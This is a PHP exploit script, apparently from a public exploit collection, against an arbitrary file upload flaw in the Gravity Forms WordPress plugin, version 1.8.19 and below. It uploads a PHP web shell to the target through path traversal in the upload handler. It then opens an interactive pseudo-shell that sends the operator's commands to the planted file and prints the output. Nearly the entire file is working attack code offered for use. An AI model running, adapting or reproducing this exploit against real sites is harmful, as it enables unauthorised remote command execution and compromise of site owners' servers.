<?php
/****************************************************************************************************************************
*
* Exploit Title : Gravity Forms [WP] - Arbitrary File Upload
* Vulnerable Version(s): 1.8.19 (and below)
* Write-Up : https://blog.sucuri.net/2015/02/malware-cleanup-to-arbitrary-file-upload-in-gravity-forms.html
* Coded by : Abk Khan [ an0nguy @ protonmail.ch ]
*
*****************************************************************************************************************************/
error_reporting(0);
echo "
_____ _ _ ______ _ _
/ ____| (_) | | ____| | | |
| | __ _ __ __ ___ ___| |_ _ _| |__ __ _| | |___
| | |_ | '__/ _` \ \ / / | __| | | | __/ _` | | / __|
| |__| | | | (_| |\ V /| | |_| |_| | | | (_| | | \__ \
\_____|_| \__,_| \_/ |_|\__|\__, |_| \__,_|_|_|___/
__/ |
|___/ > an Exploiter by AnonGuy\n";
$domain = (@$argv[1] == '' ? 'http://localhost/wordpress' : @$argv[1]);
$url = "$domain/?gf_page=upload";
$shell = "$domain/wp-content/_input_3_khan.php5";
$separator = '-------------------------------------------------------------------';
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, '<?php system($_GET[0]); ?>&form_id=1&name=khan.php5&gform_unique_id=../../../../&field_id=3');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
if (strpos($response, '"ok"') !== false) {
echo "$separator\nShell at $shell\n$separator\nSpawning a 'No-Session' Shell . . . Done!\n$separator\n";
while ($testCom != 'exit') {
$user = trim(get_string_between(file_get_contents("$shell?0=echo%20'~';%20whoami;%20echo%20'~'"), '~', '~'));
$b0x = trim(get_string_between(file_get_contents("$shell?0=echo%20'~';%20hostname;%20echo%20'~'"), '~', '~'));
echo "$user@$b0x:~$ ";
$handle = fopen("php://stdin", 'r');
$testCom = trim(fgets($handle));
fclose($handle);
$comOut = trim(get_string_between(file_get_contents("$shell?0=echo%20'~';%20" . urlencode($testCom) . ";%20echo%20'~'"), '~', '~')) . "\n";
echo $comOut;
}
}
else {
die("$separator\n$domain doesn't seem to be vulnerable! :(\n$separator");
}
function get_string_between($string, $start, $end)
{
# stolen from stackoverflow!
$string = ' ' . $string;
$ini = strpos($string, $start);
if ($ini == 0)
return '';
$ini += strlen($start);
$len = strpos($string, $end, $ini) - $ini;
return substr($string, $ini, $len);
}
?>
